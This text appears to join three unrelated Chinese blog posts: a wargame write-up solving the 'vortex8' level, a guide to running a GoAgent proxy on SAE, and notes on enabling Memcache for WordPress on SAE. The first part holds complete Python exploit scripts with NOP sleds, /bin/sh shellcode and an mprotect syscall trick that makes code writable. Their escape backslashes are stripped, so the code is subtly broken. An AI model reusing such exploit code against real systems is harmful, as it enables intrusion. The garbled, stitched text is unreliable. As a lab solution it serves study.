然而,运行却发现,我们的程序没有能够打开一个shell,而是不停的输出0,也就是说,我们修改返回地址没能奏效。于是我利用gdb的attach将gdb附加在那个没有停止的程序上,查看0xf7dec33c处的值,果然不是我们设定值,而主线程确实是在我们'xebxfe'设定的死循环处,那我们手动将主线程的eip调整到code的开头处,继续执行,便会发现,成功的打开了shell,屡试不爽。

然后再多次重复运行我们的程序后,突然发现,有时候又能够正常弹出shell,这个现象让我们不禁联想到了前面的实验,之前是由于不同线程语句执行顺序导致的,那按照这个思路,仔细想想这次,便会发现,有可能在我们修改返回地址之前,子线程都还没有调用任何函数,这显然会使得我们的修改失去意义。

于是,我们给主线程增加一个sleep(2),延迟修改返回地址,然后再运行我们的程序,便会发现成功获取了shell。其实,我们现在的程序仍旧是可能获取不到shell的,有可能当我们修改返回地址的那个瞬间,正好子线程已经从sleep中返回而又没有来得及再调用,只是这种情况发生的概率较小(个人实验是这样),所以我们可以无视,大不了挂了重新再跑一次就好。于是最终的程序如下:

#!/usr/bin/env python

import subprocess

addr = 'x04xddxffxff'
# x6ax02                  push $0x2
# xbbx90x84x04x08      mov $0x8048490, %ebx
# xffxd3                  call *%ebx
# xb9x3cxb3xe0xf7      mov $0xf7e0b33c, %ecx
# xc7x01x04xdfxffxff  movl $0xffffdf04, (%ecx)
# xebxfe                  jmp self 死循环
code = 'x6ax02''xbbx90x84x04x08''xffxd3''xb9x3cxb3xe0xf7''xc7x01x04xdfxffxff''xebxfe'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()

接下来,我们再尝试一种方法:

想要改变一个程序的执行过程,其实最直接的想法便是修改其代码,当然,正常情况下,代码段是不可写的,那我们如何去修改代码段呢?要注意,我们通过unsafecode已经获得了操纵了这个程序,只是,我们没有需要的权限而已,但是,我们是拥有对这个程序自身操作的所有权限的。那么,这也就意味着,我们可以通过mprotect将代码段改为可写的。

由于这个程序本身是没有调用过mprotect的,在PLT表中没有mprotect,我们无法直接调用mprotect,但是我们可以通过system call直接调用,Linux的system call是通过软中断0x80实现,在/usr/include/asm/unistd.h中,我们可以看到mprotect的系统调用号,也可以通过gdb来查看。

通过gdb,我们可以得到:

0xf7ef72b1 <mprotect+1>: mov    0x10(%esp),%edx
0xf7ef72b5 <mprotect+5>: mov    0xc(%esp),%ecx
0xf7ef72b9 <mprotect+9>: mov    0x8(%esp),%ebx
0xf7ef72bd <mprotect+13>:    mov    $0x7d,%eax
0xf7ef72c2 <mprotect+18>:    call   *%gs:0x10

从而知道了各个参数与寄存器之间的对应关系,于是我们得到的攻击程序如下:

#!/usr/bin/env python

import subprocess

addr = 'x04xdfxffxff'
# x31xc0              xor %eax, %eax
# x31xc9              xor %ecx, %ecx
# x31xd2              xor %edx, %edx
# xb2x07              mov $0x7, %dl
# x66xb9x01x10      mov $0x1001, %cx
# x30xc9              xor %cl, %cl
# xbbx01x80x04x08  mov $0x8048001, %ebx
# x30xdb              xor %bl, %bl
# xb0x7d              mov $0x7d, %al
# xcdx80              int $0x80   call mprotect
# x68...x08           mov shellcode, (0x80485fe)
# xebxfe              jmp self 死循环
code = 'x31xc0x31xc9x31xd2xb2x07x66xb9x01x10x30xc9xbbx01x80x04x08x30xdbxb0x7dxcdx80''x68x6ax0bx58x99x8fx05xfex85x04x08x68x31xc9x52x68x8fx05x02x86x04x08x68x2fx2fx73x68x8fx05x06x86x04x08x68x68x2fx62x69x8fx05x0ax86x04x08x68x6ex89xe3xcdx8fx05x0ex86x04x08xb0x80xa2x12x86x04x08''xebxfe'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code}).communicate()

我们需要注意的是,code中要避免出现x00导致字符串中断(call *%gs:0x10中含有x00,而int $0x80中没有),当然,在这题里面,由于code不需要strcpy复制,故而我们也有办法处理x00的情况,但毕竟不如直接避免x00来的方便。

至此,我们就结束了这一关的征程,也从这一关中收获了许多。

听到代理的第一反应大概是翻墙了,不过由于SAE本身是在墙内的,所以SAE上架设的代理不能翻墙~~~

那么在SAE上架设代理的作用,个人感觉大概有以下几条:

  1. 有些神奇的墙内的网站不知道为啥就是上不去(反正我上微信的客服那个网是上不去),经SAE代理就OK了;

  2. 据说SAE线路好,所以有时候可以通过SAE代理加速;

  3. 国外上国内某些网站的时候需要代理(神奇的天朝);

  4. 做些奇奇怪怪的事情的时候想要隐藏IP(咳咳~);

废话不多说了,反正有啥用大家伙自己看着办,不同人肯定不同需求。

想架设代理,自己写程序当然可以,不过麻烦不说,还不是每个人都有这个技术,于是乎咱偷个懒,直接用GoAgent,常年有人维护,多好~~~

我下的是GoAgent 3.0,在server/php中有个index.py,用其替换SAE上python应用中的index.wsgi即可(本来以为要改的,后来一看发现原生支持SAE,惊呆了),如果要php的应用的话,应该就是上传该文件夹下的index.php吧,不过本人没试过,反正python版的能用就行了。这样服务器端就已经架好,剩下的就是修改客户端的配置文件使用了。

修改proxy.ini中的[php]段

[php]    
enable = 0    
password = 123456    
crlf = 0    
validate = 0    
listen = 127.0.0.1:8088    
fetchserver = http://.com/

将enable改为1,fetchserver改为SAE服务端的网址即可。不同的GoAgent版本里面段名可能不是php,不过应该都能找到fetchserver,对应修改即可。

然后启动GoAgent,在浏览器中配置代理为上面设置的listen中的ip、端口即可。

不过要注意,代理流量消耗可不低,各位要注意自己的云豆量力而为!

本人使用的是SAE应用仓库中WordPress for SAE,使用应用安装包装的,没有在线装,查看了下版本号是3.4.1。

由于介绍中明确说明“轻量的Memcache缓存模块,加快网页显示速度的同时减少资源消耗,为您节省云豆”,于是在SAE中初始化了Memcache后便也没有在意,只是最近在查看资源报表的时候,发现Memcache只有内存消耗,请求次数始终是0,越想越觉得不对劲,于是便决定认真查一查。

本来之前都是大概看了眼,大家都是说官方的直接初始化了Memcache后就会自动启用了,但是这次既然决定认真查了,就专门查看了下mysql的请求次数,在footer中添加以下语句即可:

1
<?php echo get_num_queries();?> Queries. <?php timer_stop(1);?> Seconds

这一查果然就查出问题了,不管我是否初始化了Memcache,mysql的查询次数根本就没有变,这明显是不对劲的(话说其实如果Wordpress开启了Memcache,SAE不初始化Memcache的时候,网站会直接挂彩)。

于是乎,我看了下其它的WordPress在SAE上的移植版(非官方的应用仓库中的)对Memcache的处理,发现是用了一个Memcached Object Cache插件,将一个object-cache.php放在wp-content中来启用的Memcache。我便到我的SAE上的WordPress和官方的安装文件中找了下,果然就没有发现这个文件。

那么,不解释,赶快给自己的WordPress中加上了object-cache.php,然后mysql的查询次数果断就下来了,SAE后台统计的Memcache请求次数也不是0了,消耗的云豆终于不是0了(似乎第一次因为看到扣云豆了而高兴)~~~

PS:由于SAE上Memcache的使用方法稍有区别,不需要设置server,所以object-cache.php需要修改一下,将构造函数WP_Object_Cache()中的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
foreach ( $buckets as $bucket => $servers) {
    $this->mc[$bucket] = new Memcache();
    foreach ( $servers as $server  ) {
        list ( $node, $port ) = explode(':', $server);
        if ( !$port )
            $port = ini_get('memcache.default_port');
        $port = intval($port);
        if ( !$port )
            $port = 11211;
        $this->mc[$bucket]->addServer($node, $port, true, 1, 1, 15, true, array($this, 'failure_callback'));
        $this->mc[$bucket]->setCompressThreshold(20000, 0.2);
    }
}

修改成:

foreach ( $buckets as $bucket => $servers) {
    $this->mc[$bucket] = memcache_init();
}

也可以在网上找到别人已经修改好的SAE移植版,后面附件中也是修改好的。

本来至此,Memcache就已开启,只是由于本人使用的主题的问题,在进入后台时会出现如下错误:

Fatal error: ThemeUpdateChecker::injectUpdate() [themeupdatechecker.injectupdate]: The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "ThemeUpdate" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in wp-content/themes/clearision/func/theme-update-checker.php on line 182

检查了一下,发现是主题内置插件中:

1
2
3
4
5
6
7
8
9
<?php
public function injectUpdate($updates){
    $state = get_option($this->optionName);
    //Is there an update to insert?
    if ( !empty($state) && isset($state->update) && !empty($state->update) ){
        $updates->response[$this->theme] = $state->update->toWpFormat();
    }
    return $updates;
}

其中的$state->update是个__PHP_Incomplete_Class,虽然不知道为什么是在开启Memcache后才出现,但是既然只是检查更新的,那就注释了就好,至于以后还会不会出神马奇奇怪怪的问题,就不得而知了,但愿不会吧!

memcached.zip